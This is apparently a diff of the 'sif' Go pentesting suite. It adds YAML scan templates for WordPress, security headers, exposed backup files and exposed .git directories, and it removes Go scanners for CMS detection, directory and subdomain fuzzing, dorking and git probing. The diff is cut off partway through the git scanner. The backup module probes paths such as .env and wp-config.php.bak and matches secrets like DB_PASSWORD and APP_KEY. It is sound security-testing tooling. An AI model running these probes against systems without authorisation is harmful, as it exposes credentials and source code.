info:
|
||||
name: WordPress Detection
|
||||
author: sif
|
||||
severity: info
|
||||
description: Detects WordPress CMS installations
|
||||
tags: [cms, wordpress, detection, info]
|
||||
|
||||
type: http
|
||||
|
||||
http:
|
||||
method: GET
|
||||
paths:
|
||||
- "{{BaseURL}}"
|
||||
- "{{BaseURL}}/wp-login.php"
|
||||
- "{{BaseURL}}/wp-admin/"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "wp-content"
|
||||
- "wp-includes"
|
||||
- "wp-json"
|
||||
- "wordpress"
|
||||
condition: or
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: wp_version
|
||||
part: body
|
||||
regex:
|
||||
- 'content="WordPress ([0-9.]+)"'
|
||||
- 'wp-includes/js/wp-embed.min.js\?ver=([0-9.]+)'
|
||||
group: 1
|
||||
@@ -0,0 +1,50 @@
|
||||
# Security Headers Check Module
|
||||
# Checks for missing or misconfigured security headers
|
||||
|
||||
id: security-headers
|
||||
info:
|
||||
name: Security Headers Analysis
|
||||
author: sif
|
||||
severity: info
|
||||
description: Checks for presence and configuration of security headers
|
||||
tags: [headers, security, info, owasp]
|
||||
|
||||
type: http
|
||||
|
||||
http:
|
||||
method: GET
|
||||
paths:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
part: header
|
||||
regex:
|
||||
- "X-Frame-Options"
|
||||
- "X-Content-Type-Options"
|
||||
- "Strict-Transport-Security"
|
||||
- "Content-Security-Policy"
|
||||
- "X-XSS-Protection"
|
||||
condition: or
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: x_frame_options
|
||||
part: header
|
||||
regex:
|
||||
- "X-Frame-Options: (.+)"
|
||||
group: 1
|
||||
|
||||
- type: regex
|
||||
name: content_security_policy
|
||||
part: header
|
||||
regex:
|
||||
- "Content-Security-Policy: (.+)"
|
||||
group: 1
|
||||
|
||||
- type: regex
|
||||
name: strict_transport_security
|
||||
part: header
|
||||
regex:
|
||||
- "Strict-Transport-Security: (.+)"
|
||||
group: 1
|
||||
@@ -0,0 +1,45 @@
|
||||
# Backup Files Detection Module
|
||||
|
||||
id: backup-files
|
||||
info:
|
||||
name: Backup Files Detection
|
||||
author: sif
|
||||
severity: medium
|
||||
description: Detects common backup files that may expose sensitive information
|
||||
tags: [backup, exposure, misconfiguration, recon]
|
||||
|
||||
type: http
|
||||
|
||||
http:
|
||||
method: GET
|
||||
paths:
|
||||
- "{{BaseURL}}/backup.sql"
|
||||
- "{{BaseURL}}/backup.zip"
|
||||
- "{{BaseURL}}/backup.tar.gz"
|
||||
- "{{BaseURL}}/database.sql"
|
||||
- "{{BaseURL}}/db.sql"
|
||||
- "{{BaseURL}}/dump.sql"
|
||||
- "{{BaseURL}}/.env"
|
||||
- "{{BaseURL}}/.env.backup"
|
||||
- "{{BaseURL}}/config.php.bak"
|
||||
- "{{BaseURL}}/web.config.bak"
|
||||
- "{{BaseURL}}/wp-config.php.bak"
|
||||
- "{{BaseURL}}/settings.py.bak"
|
||||
|
||||
threads: 5
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- "CREATE TABLE"
|
||||
- "INSERT INTO"
|
||||
- "DB_PASSWORD"
|
||||
- "APP_KEY"
|
||||
- "SECRET_KEY"
|
||||
- "database_password"
|
||||
condition: or
|
||||
@@ -0,0 +1,39 @@
|
||||
# Exposed Git Repository Detection Module
|
||||
|
||||
id: git-exposed
|
||||
info:
|
||||
name: Exposed Git Repository
|
||||
author: sif
|
||||
severity: high
|
||||
description: Detects exposed .git directories that may leak source code
|
||||
tags: [git, exposure, source-code, misconfiguration]
|
||||
|
||||
type: http
|
||||
|
||||
http:
|
||||
method: GET
|
||||
paths:
|
||||
- "{{BaseURL}}/.git/HEAD"
|
||||
- "{{BaseURL}}/.git/config"
|
||||
- "{{BaseURL}}/.git/index"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "ref: refs/"
|
||||
- "[core]"
|
||||
- "repositoryformatversion"
|
||||
condition: or
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: git_branch
|
||||
part: body
|
||||
regex:
|
||||
- "ref: refs/heads/(.+)"
|
||||
group: 1
|
||||
@@ -1,79 +0,0 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
*/
|
||||
|
||||
package logger
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func Init(dir string) error {
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
if err = os.Mkdir(dir, 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func CreateFile(logFiles *[]string, url string, dir string) error {
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
if _, err := os.Stat(dir + "/" + sanitizedURL + ".log"); os.IsNotExist(err) {
|
||||
f, err := os.OpenFile(dir+"/"+sanitizedURL+".log", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
defer f.Close()
|
||||
}
|
||||
|
||||
f, err := os.OpenFile(dir+"/"+sanitizedURL+".log", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
f.WriteString(fmt.Sprintf(" _____________\n__________(_)__ __/\n__ ___/_ /__ /_ \n_(__ )_ / _ __/ \n/____/ /_/ /_/ \n\nsif log file for %s\nhttps://sif.sh\n\n", url))
|
||||
*logFiles = append(*logFiles, dir+"/"+sanitizedURL+".log")
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func Write(url string, dir string, text string) error {
|
||||
f, err := os.OpenFile(dir+"/"+url+".log", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
f.WriteString(text)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func WriteHeader(url string, dir string, scan string) error {
|
||||
return Write(url, dir, fmt.Sprintf("\n\n--------------\nStarting %s\n--------------\n", scan))
|
||||
}
|
||||
-135
@@ -1,135 +0,0 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
)
|
||||
|
||||
type CMSResult struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
}
|
||||
|
||||
func CMS(url string, timeout time.Duration, logdir string) (*CMSResult, error) {
|
||||
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("CMS detection") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "CMS detection"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
cmslog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "CMS 🔍",
|
||||
}).With("url", url)
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
bodyString := string(body)
|
||||
|
||||
// WordPress
|
||||
if detectWordPress(url, client, bodyString) {
|
||||
result := &CMSResult{Name: "WordPress", Version: "Unknown"}
|
||||
cmslog.Infof("Detected CMS: %s", styles.Highlight.Render(result.Name))
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// Drupal
|
||||
if strings.Contains(resp.Header.Get("X-Drupal-Cache"), "HIT") || strings.Contains(bodyString, "Drupal.settings") {
|
||||
result := &CMSResult{Name: "Drupal", Version: "Unknown"}
|
||||
cmslog.Infof("Detected CMS: %s", styles.Highlight.Render(result.Name))
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// Joomla
|
||||
if strings.Contains(bodyString, "joomla") || strings.Contains(bodyString, "/media/system/js/core.js") {
|
||||
result := &CMSResult{Name: "Joomla", Version: "Unknown"}
|
||||
cmslog.Infof("Detected CMS: %s", styles.Highlight.Render(result.Name))
|
||||
return result, nil
|
||||
}
|
||||
|
||||
cmslog.Info("No CMS detected")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func detectWordPress(url string, client *http.Client, bodyString string) bool {
|
||||
// Check for common WordPress indicators in the HTML
|
||||
wpIndicators := []string{
|
||||
"wp-content",
|
||||
"wp-includes",
|
||||
"wp-json",
|
||||
"wordpress",
|
||||
}
|
||||
|
||||
for _, indicator := range wpIndicators {
|
||||
if strings.Contains(bodyString, indicator) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// Check for WordPress-specific files
|
||||
wpFiles := []string{
|
||||
"/wp-login.php",
|
||||
"/wp-admin/",
|
||||
"/wp-config.php",
|
||||
}
|
||||
|
||||
for _, file := range wpFiles {
|
||||
resp, err := client.Get(url + file)
|
||||
if err == nil {
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode == http.StatusOK || resp.StatusCode == http.StatusFound {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
@@ -1,152 +0,0 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
)
|
||||
|
||||
const (
|
||||
directoryURL = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/dirlist/"
|
||||
smallFile = "directory-list-2.3-small.txt"
|
||||
mediumFile = "directory-list-2.3-medium.txt"
|
||||
bigFile = "directory-list-2.3-big.txt"
|
||||
)
|
||||
|
||||
type DirectoryResult struct {
|
||||
Url string `json:"url"`
|
||||
StatusCode int `json:"status_code"`
|
||||
}
|
||||
|
||||
// Dirlist performs directory fuzzing on the target URL.
|
||||
//
|
||||
// Parameters:
|
||||
// - size: determines the size of the directory list to use ("small", "medium", or "large")
|
||||
// - url: the target URL to scan
|
||||
// - timeout: maximum duration for each request
|
||||
// - threads: number of concurrent threads to use
|
||||
// - logdir: directory to store log files (empty string for no logging)
|
||||
//
|
||||
// Returns:
|
||||
// - []DirectoryResult: a slice of discovered directories and their status codes
|
||||
// - error: any error encountered during the scan
|
||||
func Dirlist(size string, url string, timeout time.Duration, threads int, logdir string) ([]DirectoryResult, error) {
|
||||
|
||||
fmt.Println(styles.Separator.Render("📂 Starting " + styles.Status.Render("directory fuzzing") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, size+" directory fuzzing"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
dirlog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Dirlist 📂",
|
||||
}).With("url", url)
|
||||
|
||||
var list string
|
||||
|
||||
switch size {
|
||||
case "small":
|
||||
list = directoryURL + smallFile
|
||||
case "medium":
|
||||
list = directoryURL + mediumFile
|
||||
case "large":
|
||||
list = directoryURL + bigFile
|
||||
}
|
||||
|
||||
dirlog.Infof("Starting %s directory listing", size)
|
||||
|
||||
resp, err := http.Get(list)
|
||||
if err != nil {
|
||||
log.Errorf("Error downloading directory list: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var directories []string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
directories = append(directories, scanner.Text())
|
||||
}
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(threads)
|
||||
|
||||
results := []DirectoryResult{}
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, directory := range directories {
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
log.Debugf("%s", directory)
|
||||
resp, err := client.Get(url + "/" + directory)
|
||||
if err != nil {
|
||||
log.Debugf("Error %s: %s", directory, err)
|
||||
return
|
||||
}
|
||||
|
||||
if resp.StatusCode != 404 && resp.StatusCode != 403 {
|
||||
// log url, directory, and status code
|
||||
dirlog.Infof("%s [%s]", styles.Status.Render(strconv.Itoa(resp.StatusCode)), styles.Highlight.Render(directory))
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s [%s]\n", strconv.Itoa(resp.StatusCode), directory))
|
||||
}
|
||||
|
||||
result := DirectoryResult{
|
||||
Url: resp.Request.URL.String(),
|
||||
StatusCode: resp.StatusCode,
|
||||
}
|
||||
results = append(results, result)
|
||||
}
|
||||
}
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
return results, nil
|
||||
}
|
||||
@@ -1,155 +0,0 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
)
|
||||
|
||||
const (
|
||||
dnsURL = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/dnslist/"
|
||||
dnsSmallFile = "subdomains-100.txt"
|
||||
dnsMediumFile = "subdomains-1000.txt"
|
||||
dnsBigFile = "subdomains-10000.txt"
|
||||
)
|
||||
|
||||
// Dnslist performs DNS subdomain enumeration on the target domain.
|
||||
//
|
||||
// Parameters:
|
||||
// - size: determines the size of the subdomain list to use ("small", "medium", or "large")
|
||||
// - url: the target URL to scan
|
||||
// - timeout: maximum duration for each DNS lookup
|
||||
// - threads: number of concurrent threads to use
|
||||
// - logdir: directory to store log files (empty string for no logging)
|
||||
//
|
||||
// Returns:
|
||||
// - []string: a slice of discovered subdomains
|
||||
// - error: any error encountered during the enumeration
|
||||
func Dnslist(size string, url string, timeout time.Duration, threads int, logdir string) ([]string, error) {
|
||||
|
||||
fmt.Println(styles.Separator.Render("📡 Starting " + styles.Status.Render("DNS fuzzing") + "..."))
|
||||
|
||||
dnslog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Dnslist 📡",
|
||||
}).With("url", url)
|
||||
|
||||
var list string
|
||||
|
||||
switch size {
|
||||
case "small":
|
||||
list = dnsURL + dnsSmallFile
|
||||
case "medium":
|
||||
list = dnsURL + dnsMediumFile
|
||||
case "large":
|
||||
list = dnsURL + dnsBigFile
|
||||
}
|
||||
|
||||
dnslog.Infof("Starting %s DNS listing", size)
|
||||
|
||||
resp, err := http.Get(list)
|
||||
if err != nil {
|
||||
log.Errorf("Error downloading DNS list: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var dns []string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
dns = append(dns, scanner.Text())
|
||||
}
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, size+" subdomain fuzzing"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(threads)
|
||||
|
||||
urls := []string{}
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, domain := range dns {
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
log.Debugf("Looking up: %s", domain)
|
||||
resp, err := client.Get("http://" + domain + "." + sanitizedURL)
|
||||
if err != nil {
|
||||
log.Debugf("Error %s: %s", domain, err)
|
||||
} else {
|
||||
urls = append(urls, resp.Request.URL.String())
|
||||
dnslog.Infof("%s %s.%s", styles.Status.Render("[http]"), styles.Highlight.Render(domain), sanitizedURL)
|
||||
|
||||
if logdir != "" {
|
||||
f, err := os.OpenFile(logdir+"/"+sanitizedURL+".log", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
|
||||
if err != nil {
|
||||
log.Errorf("Error creating log file: %s", err)
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
f.WriteString(fmt.Sprintf("[http] %s.%s\n", domain, sanitizedURL))
|
||||
}
|
||||
}
|
||||
|
||||
resp, err = client.Get("https://" + domain + "." + sanitizedURL)
|
||||
if err != nil {
|
||||
log.Debugf("Error %s: %s", domain, err)
|
||||
} else {
|
||||
urls = append(urls, resp.Request.URL.String())
|
||||
dnslog.Infof("%s %s.%s", styles.Status.Render("[https]"), styles.Highlight.Render(domain), sanitizedURL)
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("[https] %s.%s\n", domain, sanitizedURL))
|
||||
}
|
||||
}
|
||||
}
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
return urls, nil
|
||||
}
|
||||
@@ -1,141 +0,0 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
*/
|
||||
|
||||
// Package scan provides various security scanning functionalities for web applications.
|
||||
// This file handles Google dorking operations.
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
googlesearch "github.com/rocketlaunchr/google-search"
|
||||
)
|
||||
|
||||
const (
|
||||
dorkURL = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/dork/"
|
||||
dorkFile = "dork.txt"
|
||||
)
|
||||
|
||||
// DorkResult represents the result of a Google dork search.
|
||||
type DorkResult struct {
|
||||
Url string `json:"url"` // The URL found by the dork
|
||||
Count int `json:"count"` // The number of times this URL was found
|
||||
}
|
||||
|
||||
// Dork performs Google dorking operations on the target URL.
|
||||
// It uses a predefined list of dorks to search for potentially sensitive information.
|
||||
//
|
||||
// Parameters:
|
||||
// - url: The target URL to dork
|
||||
// - timeout: Maximum duration for each dork search
|
||||
// - threads: Number of concurrent threads to use
|
||||
// - logdir: Directory to store log files (empty string for no logging)
|
||||
//
|
||||
// Returns:
|
||||
// - []DorkResult: A slice of results from the dorking operation
|
||||
// - error: Any error encountered during the dorking process
|
||||
func Dork(url string, timeout time.Duration, threads int, logdir string) ([]DorkResult, error) {
|
||||
|
||||
fmt.Println(styles.Separator.Render("🤓 Starting " + styles.Status.Render("URL Dorking") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "URL dorking"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
dorklog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Dorking 🤓",
|
||||
}).With("url", url)
|
||||
|
||||
dorklog.Infof("Starting URL dorking...")
|
||||
|
||||
resp, err := http.Get(dorkURL + dorkFile)
|
||||
if err != nil {
|
||||
log.Errorf("Error downloading dork list: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var dorks []string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
dorks = append(dorks, scanner.Text())
|
||||
}
|
||||
|
||||
// util.InitProgressBar()
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(threads)
|
||||
|
||||
dorkResults := []DorkResult{}
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, dork := range dorks {
|
||||
|
||||
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
results, err := googlesearch.Search(nil, fmt.Sprintf("%s %s", dork, sanitizedURL))
|
||||
if err != nil {
|
||||
dorklog.Debugf("error searching for dork %s: %v", dork, err)
|
||||
continue
|
||||
}
|
||||
if len(results) > 0 {
|
||||
dorklog.Infof("%s dork results found for dork [%s]", styles.Status.Render(strconv.Itoa(len(results))), styles.Highlight.Render(dork))
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s dork results found for dork [%s]\n", strconv.Itoa(len(results)), dork))
|
||||
}
|
||||
|
||||
result := DorkResult{
|
||||
Url: dork,
|
||||
Count: len(results),
|
||||
}
|
||||
|
||||
dorkResults = append(dorkResults, result)
|
||||
}
|
||||
}
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
return dorkResults, nil
|
||||
}
|
||||
-118
@@ -1,118 +0,0 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
)
|
||||
|
||||
const (
|
||||
gitURL = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/git/"
|
||||
gitFile = "git.txt"
|
||||
)
|
||||
|
||||
func Git(url string, timeout time.Duration, threads int, logdir string) ([]string, error) {
|
||||
|
||||
fmt.Println(styles.Separator.Render("🌿 Starting " + styles.Status.Render("git repository scanning") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "git directory fuzzing"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
gitlog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Git 🌿",
|
||||
}).With("url", url)
|
||||
|
||||
gitlog.Infof("Starting repository scanning")
|
||||
|
||||
resp, err := http.Get(gitURL + gitFile)
|
||||
if err != nil {
|
||||
log.Errorf("Error downloading git list: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var gitUrls []string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
gitUrls = append(gitUrls, scanner.Text())
|
||||
}
|
||||
|
||||
// util.InitProgressBar()
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(threads)
|
||||
|
||||
foundUrls := []string{}
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, repourl := range gitUrls {
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
log.Debugf("%s", repourl)
|
||||
resp, err := client.Get(url + "/" + repourl)
|
||||
if err != nil {
|
||||
log.Debugf("Error %s: %s", repourl, err)
|
||||
}
|
||||
|
||||
if resp.StatusCode == 200 && !strings.HasPrefix(resp.Header.Get("Content-Type"), "text/html") {
|
||||
// log url, directory, and status code
|
||||
